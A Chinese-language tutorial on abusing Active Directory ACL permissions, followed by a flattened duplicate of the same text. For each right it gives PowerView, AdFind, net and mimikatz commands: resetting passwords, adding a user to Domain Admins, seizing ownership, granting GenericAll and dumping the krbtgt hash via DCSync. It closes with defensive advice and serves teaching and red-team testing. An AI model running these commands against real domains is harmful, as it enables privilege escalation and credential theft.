Abusing AD ACL
字数 1375 2025-08-05 00:16:38

Active Directory ACL 滥用攻击技术详解

0x01 ACL 简介

Active Directory 访问控制列表(ACL)主要有两种类型:

  1. DACL (自由访问控制列表) - 负责权限访问控制
  2. SACL (系统访问控制列表) - 负责日志记录功能

每条规则称为 ACE (访问控制条目),由 SDDL (安全描述符定义语言) 定义。

0x02 攻击者感兴趣的对象权限

1. GenericAll (完全对象控制)

权限能力

  • 将用户添加到组
  • 更改用户密码
  • 向对象用户注册 SPN

利用示例

# 查找对user1有GenericAll权限的用户
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | ?{$_.ActiveDirectoryRights -eq "GenericAll"}

# 使用iis用户更改user1密码
net user user1 newpassword /domain

2. Self (Self-Membership)

权限能力

  • 自成员权限,可将自己添加到组

利用示例

# 查找对Domain Admins组有WriteProperty权限的账号
Get-ObjectAcl -SamAccountName "CN=Domain Admins,CN=Users,DC=muxue,DC=com" -ResolveGUIDs

# 将自己加入域管组
net group "domain admins" user1 /add /domain

3. GenericWrite (通用写入)

权限能力

  • 更新目标对象参数值
  • 设置msDS-AllowedToActOnBehalfOfOtherIdentity属性(用于基于资源的约束委派攻击)

利用示例

# 查找对win7计算机有写入权限的用户
Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}

# 添加机器用户
net computer \\evilpc /add

4. AllExtendedRights (所有扩展权限)

权限能力

  • 执行AD扩展操作,如强制更改目标用户密码(ForceChangePassword)

利用示例

# 查找有ForceChangePassword权限的用户
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs

# 重置用户密码
Set-DomainUserPassword -Identity user1 -AccountPassword (ConvertTo-SecureString "newpass" -AsPlainText -Force)

5. WriteProperty (写入属性)

权限能力

  • 将用户加入组

利用示例

# 使用AdFind查找权限
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com," ntsecuritydescriptor -sddlfilter ;;;;;iis -sddl+++ -recmute -sdna -s basea -s base

# 使用PowerView添加用户到组
Add-DomainGroupMember -Identity "Domain Admins" -Members user1

6. WriteOwner (写入所有者)

权限能力

  • 修改对象安全描述符的所有者

利用示例

# 查找组的SID
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com"

# 修改所有者
Set-DomainObjectOwner -Identity S-1-5-21-511003792-1237030605-620821399-512 -OwnerIdentity "iis" -Verbose

7. WriteDACL (写入DACL)

权限能力

  • 修改对象的权限

利用示例

# 查找有WriteDacl权限的用户
Get-ObjectAcl -SamAccountName "acltest" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}

# 为iis用户添加GenericAll权限
Add-DomainObjectAcl -TargetIdentity acltest -PrincipalIdentity iis -Rights All -Verbose

8. DCSync (域复制权限)

所需权限

  • DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-In-Filtered-Set (可选,GUID: 89e95b76-444d-4c62-991a-0facbeda640c)

利用示例

# 使用mimikatz执行DCSync
mimikatz # lsadump::dcsync /domain:muxue.com /user:krbtgt

0x03 攻击技术组合与防御建议

攻击技术组合

  1. Exchange 中继攻击:结合Exchange服务器权限进行DCSync
  2. AdminSDHolder 攻击:利用AdminSDHolder容器的特殊权限特性
  3. 基于资源的约束委派:结合GenericWrite权限设置msDS-AllowedToActOnBehalfOfOtherIdentity

防御建议

  1. 定期审计Active Directory权限分配
  2. 实施最小权限原则
  3. 监控敏感权限变更
  4. 限制DCSync权限仅授予必要账户
  5. 定期检查AdminSDHolder对象权限

工具参考

  1. PowerView.ps1 - 用于查询和修改AD权限
  2. AdFind.exe - 轻量级AD查询工具
  3. Mimikatz - 用于凭证转储和DCSync攻击
  4. Rubeus - Kerberos攻击工具包
  5. Impacket - 网络协议攻击工具包

通过深入理解这些ACL权限及其滥用方式,安全团队可以更好地防御AD环境中的权限提升攻击,而红队则可以更有效地进行渗透测试。

Active Directory ACL 滥用攻击技术详解 0x01 ACL 简介 Active Directory 访问控制列表(ACL)主要有两种类型: DACL (自由访问控制列表) - 负责权限访问控制 SACL (系统访问控制列表) - 负责日志记录功能 每条规则称为 ACE (访问控制条目),由 SDDL (安全描述符定义语言) 定义。 0x02 攻击者感兴趣的对象权限 1. GenericAll (完全对象控制) 权限能力 : 将用户添加到组 更改用户密码 向对象用户注册 SPN 利用示例 : 2. Self (Self-Membership) 权限能力 : 自成员权限,可将自己添加到组 利用示例 : 3. GenericWrite (通用写入) 权限能力 : 更新目标对象参数值 设置msDS-AllowedToActOnBehalfOfOtherIdentity属性(用于基于资源的约束委派攻击) 利用示例 : 4. AllExtendedRights (所有扩展权限) 权限能力 : 执行AD扩展操作,如强制更改目标用户密码(ForceChangePassword) 利用示例 : 5. WriteProperty (写入属性) 权限能力 : 将用户加入组 利用示例 : 6. WriteOwner (写入所有者) 权限能力 : 修改对象安全描述符的所有者 利用示例 : 7. WriteDACL (写入DACL) 权限能力 : 修改对象的权限 利用示例 : 8. DCSync (域复制权限) 所需权限 : DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-In-Filtered-Set (可选,GUID: 89e95b76-444d-4c62-991a-0facbeda640c) 利用示例 : 0x03 攻击技术组合与防御建议 攻击技术组合 Exchange 中继攻击 :结合Exchange服务器权限进行DCSync AdminSDHolder 攻击 :利用AdminSDHolder容器的特殊权限特性 基于资源的约束委派 :结合GenericWrite权限设置msDS-AllowedToActOnBehalfOfOtherIdentity 防御建议 定期审计Active Directory权限分配 实施最小权限原则 监控敏感权限变更 限制DCSync权限仅授予必要账户 定期检查AdminSDHolder对象权限 工具参考 PowerView.ps1 - 用于查询和修改AD权限 AdFind.exe - 轻量级AD查询工具 Mimikatz - 用于凭证转储和DCSync攻击 Rubeus - Kerberos攻击工具包 Impacket - 网络协议攻击工具包 通过深入理解这些ACL权限及其滥用方式,安全团队可以更好地防御AD环境中的权限提升攻击,而红队则可以更有效地进行渗透测试。